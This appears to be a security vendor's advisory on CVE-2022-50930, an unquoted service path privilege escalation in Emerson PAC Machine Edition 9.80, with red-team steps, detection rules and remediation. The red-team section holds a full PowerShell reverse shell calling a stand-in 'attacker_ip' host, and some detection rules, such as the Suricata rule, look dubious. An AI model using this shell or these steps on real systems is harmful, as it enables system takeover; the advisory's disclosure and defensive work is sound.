CVE-2022-50930

Executive Summary

CVE-2022-50930 is a local privilege escalation vulnerability in Emerson PAC Machine Edition version 9.80. The vulnerability exists in the TrapiServer service due to an unquoted service path. A local attacker with low privileges can exploit this by placing a malicious executable in a path that the service will inadvertently execute with LocalSystem privileges during startup. This allows the attacker to gain full control of the system. No public proof-of-concept (PoC) or patch details are currently available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.8 (High)
• Attack Vector: Local (AV:L) – The attacker must have local access to the system.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – The attacker needs a standard user account.
• User Interaction: None (UI:N) – No user action is needed.
• Scope: Unchanged (S:U) – The vulnerability does not cross security boundaries.
• Confidentiality Impact: High (C:H) – Full data access.
• Integrity Impact: High (I:H) – Full system modification.
• Availability Impact: High (A:H) – Full system control.

Threat Level: High. Local exploitation can lead to complete system compromise.

Deep Dive & Mechanics

The vulnerability is a classic unquoted service path (CWE-428). The TrapiServer service is configured with a path that contains spaces and is not enclosed in quotes. For example, the service binary might be located at:

C:\Program Files\Emerson\PAC Machine Edition\TrapiServer.exe

When Windows starts the service, it interprets the path as:

1. C:\Program.exe (if it exists)
2. C:\Program Files\Emerson.exe (if it exists)
3. C:\Program Files\Emerson\PAC.exe (if it exists)
4. C:\Program Files\Emerson\PAC Machine Edition\TrapiServer.exe (the intended binary)

An attacker with write access to any of the parent directories (e.g., C:\Program Files\Emerson\) can place a malicious executable named PAC.exe (or Emerson.exe or Program.exe). When the service starts, Windows will execute the attacker's binary with LocalSystem privileges.

Vulnerable vs. Patched Code

Vulnerable Configuration (9.80): The service path is unquoted:

C:\Program Files\Emerson\PAC Machine Edition\TrapiServer.exe

Patched Configuration (Unknown): The service path should be quoted:

"C:\Program Files\Emerson\PAC Machine Edition\TrapiServer.exe"

No official patch has been released by Emerson.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a Windows system running Emerson PAC Machine Edition 9.80.
• Write access to a directory in the unquoted path (e.g., C:\Program Files\Emerson\).

Steps:

1. Identify the service path:

   sc qc TrapiServer
   

2. Create a malicious executable (e.g., PAC.exe) that spawns a reverse shell or adds a user to the Administrators group.
3. Place the executable in the vulnerable directory (e.g., C:\Program Files\Emerson\PAC.exe).
4. Restart the service or wait for system reboot:

   sc stop TrapiServer
   sc start TrapiServer
   

5. The malicious executable runs with LocalSystem privileges.

Example Malicious Executable (PowerShell reverse shell):

# Save as PAC.exe (compiled or as a script)
$client = New-Object System.Net.Sockets.TCPClient('attacker_ip',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

Blue Team

Detection:

• Monitor service creation/modification events (Event ID 7045).
• Monitor process creation events (Event ID 4688) for unexpected executables in C:\Program Files\Emerson\ or similar paths.
• Use Sysmon to detect process creation from unusual parent directories.

Prevention:

• Ensure all service paths are quoted in the registry.
• Restrict write permissions to C:\Program Files\Emerson\ to only Administrators.
• Use Application Control (e.g., AppLocker) to block execution from untrusted paths.

Indicators of Compromise (IOCs)

• File: C:\Program Files\Emerson\PAC.exe (or Emerson.exe, Program.exe)
• Registry: HKLM\SYSTEM\CurrentControlSet\Services\TrapiServer\ImagePath with an unquoted path.
• Process: PAC.exe or Emerson.exe running from C:\Program Files\Emerson\ with high integrity.
• Event ID 7045: A new service was installed (if attacker creates a new service).
• Event ID 4688: Process creation with command line containing C:\Program Files\Emerson\PAC.exe.

Detection Engineering

YARA Rule

rule CVE_2022_50930_Unquoted_Service_Path {
    meta:
        description = "Detects unquoted service path for TrapiServer service"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-50930"
    strings:
        $s1 = "TrapiServer" nocase
        $s2 = "ImagePath" nocase
        $s3 = "C:\\Program Files\\Emerson\\PAC Machine Edition\\TrapiServer.exe" nocase
    condition:
        all of them
}

Sigma Rule

title: Unquoted Service Path - TrapiServer
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unquoted service path for TrapiServer service (CVE-2022-50930)
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-50930
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 7045
        ServiceName: 'TrapiServer'
        ImagePath|contains: 'C:\Program Files\Emerson\PAC Machine Edition\TrapiServer.exe'
        ImagePath|re: '^[^"]'
    condition: selection
falsepositives:
    - Unknown
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2022-50930 Unquoted Service Path Exploit"; flow:to_server,established; content:"PAC.exe"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Manually quote the service path in the registry:

   • Open regedit
   • Navigate to HKLM\SYSTEM\CurrentControlSet\Services\TrapiServer
   • Modify ImagePath to "C:\Program Files\Emerson\PAC Machine Edition\TrapiServer.exe"
   • Restart the service.

2. Restrict write permissions to C:\Program Files\Emerson\ to Administrators only.

3. Monitor for unauthorized file creation in C:\Program Files\Emerson\.

Long-term:

• Apply vendor patch when available.
• Implement application whitelisting.
• Conduct regular security audits of service configurations.

Valters IT – Securing your digital frontier.